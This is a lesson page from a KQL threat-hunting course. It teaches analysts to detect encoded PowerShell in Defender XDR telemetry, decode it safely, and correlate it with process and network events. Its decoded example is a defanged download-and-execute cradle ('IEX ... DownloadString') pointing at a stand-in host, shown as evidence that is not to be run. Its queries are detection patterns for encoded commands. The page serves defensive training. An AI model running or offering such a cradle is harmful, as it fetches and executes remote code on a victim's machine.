Agent Foskett Academy • KQL Academy • Module 12 • Lesson 142 • Endpoint Investigation

Lesson 142 — The PowerShell Command Was Encoded

The process chain from Lesson 141 has produced another clue: PowerShell was launched with an encoded command.

Encoding is not the same as encryption, and it is not proof of malicious activity. Administrators and software can legitimately use encoded PowerShell. Our job is to preserve the original telemetry, identify the encoded argument, decode a copy safely for analysis and then test what the decoded behaviour tells us about the endpoint attack chain.

Encoded does not mean malicious. It means the command needs explaining.
Agent Foskett KQL Academy encoded PowerShell investigation
Your case file

PowerShell executes on WS-FIN-042 with an -EncodedCommand argument. The readable command has disappeared behind a Base64 string.

✓ Find encoded PowerShell execution
✓ Preserve the original command line
✓ Extract the encoded token
✓ Decode safely and validate behaviour

Case briefing

CASE FILE Device: WS-FIN-042 User: j.smith ↓ 01:22:11 — powershell.exe starts ↓ Command line contains: -EncodedCommand SQBFAFgA... ↓ THE QUESTION What does the encoded content represent, and what happened after it executed?

Investigation objective

Identify encoded PowerShell executions, preserve the source evidence, extract the encoded argument, decode a copy in a controlled analysis workflow and correlate the resulting behaviour with surrounding process and network telemetry.

Investigator's rule

Never replace the evidence with your interpretation. Keep the original ProcessCommandLine. The decoded text is an analytical artefact derived from that evidence, not a substitute for it.

Stage 1 — hunt for encoded PowerShell

Start in DeviceProcessEvents. We are looking for PowerShell command lines containing common forms of the encoded-command switch.

01-find-encoded-powershell.kql
123456789101112131415
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any
    ("-EncodedCommand", "-enc", "-e ")
| project Timestamp,
          DeviceName,
          AccountName,
          FileName,
          ProcessCommandLine,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          ProcessId,
          InitiatingProcessId
| order by Timestamp desc

Why search several forms?

PowerShell parameters can be abbreviated. An investigator should not assume every event will contain the full -EncodedCommand string. At the same time, very short matches can introduce noise, so every result still needs context.

What encoding changes

Base64 makes a command less readable in the raw process event. It does not make the underlying instructions unknowable. Treat encoding as a reason to inspect the content, not as a verdict.

Stage 2 — isolate the encoded token

Once encoded PowerShell is identified, extract the Base64-looking argument into its own field. This makes triage easier while retaining the full original command line alongside it.

02-extract-encoded-token.kql
12345678910111213
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| extend EncodedToken =
    extract(@"(?i)(?:-EncodedCommand|-enc)\s+([A-Za-z0-9+/=]+)", 1, ProcessCommandLine)
| where isnotempty(EncodedToken)
| project Timestamp,
          DeviceName,
          AccountName,
          InitiatingProcessFileName,
          ProcessCommandLine,
          EncodedToken
| order by Timestamp desc

Why keep both fields?

The extracted token helps analysis, but the complete command line may contain other switches such as hidden-window or profile options. Those surrounding arguments are part of the evidence.

Regex is a starting point

The extraction pattern is designed for a common command-line form. Real telemetry can contain quoting, alternate syntax or unusual spacing. If extraction fails, inspect the raw command rather than concluding there was no encoded content.

Stage 3 — decode a copy safely

PowerShell's -EncodedCommand commonly represents Base64-encoded UTF-16LE text. Decode the captured string in a safe analysis environment. Do not execute the decoded command.

ORIGINAL EVIDENCE powershell.exe -NoProfile -EncodedCommand SQBFAFgA... ↓ COPY THE ENCODED TOKEN BASE64 DECODE Interpret bytes using the expected text encoding ↓ ANALYSIS COPY IEX (New-Object Net.WebClient).DownloadString('hxxps://update-check[.]example/a.ps1') ↓ DO NOT RUN IT Read it as evidence and extract investigative entities.

Decode is not execute

The purpose of decoding is to make the command readable. A decoded script can contain harmful instructions. Analysis should occur without invoking the command or retrieving its referenced payload.

Extract entities

From the decoded text, record useful pivots: URLs, domains, IP addresses, filenames, paths, registry locations, scheduled-task names, additional commands and any referenced executables.

Stage 4 — reconstruct activity around execution

Now return to telemetry. The decoded command gives you a hypothesis; the device events tell you what was actually observed around the execution time.

03-reconstruct-encoded-powershell-timeline.kql
12345678910111213
let TargetDevice = "WS-FIN-042";
let TargetTime = datetime(2026-08-18 01:22:11);
DeviceProcessEvents
| where DeviceName =~ TargetDevice
| where Timestamp between (TargetTime - 10m .. TargetTime + 10m)
| project Timestamp,
          FileName,
          ProcessCommandLine,
          InitiatingProcessFileName,
          AccountName,
          ProcessId,
          InitiatingProcessId
| order by Timestamp asc

Intent versus observation

A decoded command can show what PowerShell was instructed to attempt. It does not prove every instruction succeeded. Separate command intent from observed endpoint behaviour.

Look for consequences

Did PowerShell spawn another process? Did a script host appear? Did a file execute? Did a command shell start? The next event in the chain may be more important than the encoded string itself.

Stage 5 — test the network behaviour

If the decoded content references remote infrastructure, check whether network telemetry attributed to the PowerShell process supports that behaviour.

04-correlate-powershell-network.kql
1234567891011121314
let TargetDevice = "WS-FIN-042";
let PowerShellPID = 7316;
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where DeviceName =~ TargetDevice
| where InitiatingProcessId == PowerShellPID
| project Timestamp,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          RemoteUrl,
          RemoteIP,
          RemotePort,
          ActionType
| order by Timestamp asc

Correlation strengthens the finding

If the decoded text references a domain and DeviceNetworkEvents records the same PowerShell process contacting that infrastructure seconds later, two independent telemetry views now support the same investigation story.

Absence is not always proof

No matching network event does not automatically mean the command did nothing. Telemetry coverage, blocking, timing and the exact behaviour of the command all matter. State what the evidence shows — and what it does not.

Agent Foskett's decoded timeline

01:22:11 — PROCESS powershell.exe launched ↓ COMMAND LINE -EncodedCommand SQBFAFgA... ↓ ANALYSIS Base64 token decoded safely ↓ DECODED INTENT remote script content referenced ↓ TELEMETRY CHECK process + network evidence examined ↓ CONCLUSION Encoded content is interpreted in context, not judged from encoding alone.
The encoded string hid the words. The telemetry still had to prove the story.

Your evidence board

EvidenceWhat it supportsWeight
PowerShell uses -EncodedCommandCommand content has been encoded and requires interpretation.Context
Original command line preservedMaintains the source telemetry and surrounding execution switches.Essential
Decoded content references remote script infrastructureShows what the command was instructed to attempt.Strong
PowerShell process creates subsequent suspicious processesSupports execution consequences on the endpoint.Strong
PowerShell network telemetry matches decoded infrastructureCorrelates decoded intent with observed communication.Strong
Encoding aloneDoes not establish maliciousness without surrounding evidence.Insufficient alone

Write the finding like an investigator

Example: Microsoft Defender XDR recorded PowerShell executing on WS-FIN-042 under the j.smith account with an encoded-command argument. The original command line was preserved and a copy of the Base64 content was decoded for analysis without execution. The decoded content referenced remote script retrieval and execution behaviour. Surrounding process telemetry and network activity attributed to the PowerShell process were then reviewed to determine whether the intended behaviour was observed. The encoded argument alone is not evidence of compromise; the assessment is based on the correlation between the command's decoded intent and the endpoint telemetry.

Lesson 142 key takeaways

  • Encoded PowerShell is an investigative clue, not automatic proof of malicious activity.
  • Preserve the complete original ProcessCommandLine.
  • Search for common encoded-command parameter forms, but expect syntax variation.
  • Extracting the encoded token can make triage easier without discarding source evidence.
  • Decode captured content safely; do not execute it.
  • PowerShell encoded commands commonly require the correct character encoding when converted back to readable text.
  • Use decoded content to identify entities and formulate hypotheses.
  • Separate what a command was instructed to do from what telemetry proves actually happened.
  • Correlate process and network evidence before reaching a conclusion.
  • Document both supporting evidence and evidentiary limits.

Module 12 — the attack chain continues

Lesson 141 established the suspicious parent-child relationship. Lesson 142 looked inside an encoded PowerShell command and turned unreadable command-line content into investigative pivots. Next we move deeper into process relationships and ask whether the execution tree fits legitimate user behaviour.

Next: Lesson 143 — The Process Tree Didn't Match Normal User Activity.

Continue your KQL investigation training

Module 12 follows endpoint evidence from suspicious execution through process relationships, files, network activity, persistence and spread.

Related Agent Foskett Investigations

Continue applying the investigation mindset to endpoint evidence where command-line behaviour must be tested against surrounding telemetry.

🔎 KQL Academy — Module 12: Advanced Endpoint Investigation

Following the attack chain from the first suspicious process to a defensible endpoint compromise assessment.

Investigate encoded PowerShell with KQL

Lesson 142 of the Agent Foskett KQL Academy uses Microsoft Defender XDR DeviceProcessEvents to identify encoded PowerShell command lines, preserve the original evidence and extract encoded arguments for safe analysis.

Correlate decoded PowerShell behaviour with Defender XDR telemetry

Learn how to turn decoded command content into investigative pivots and test those hypotheses against process and network telemetry without treating encoding alone as proof of malicious activity.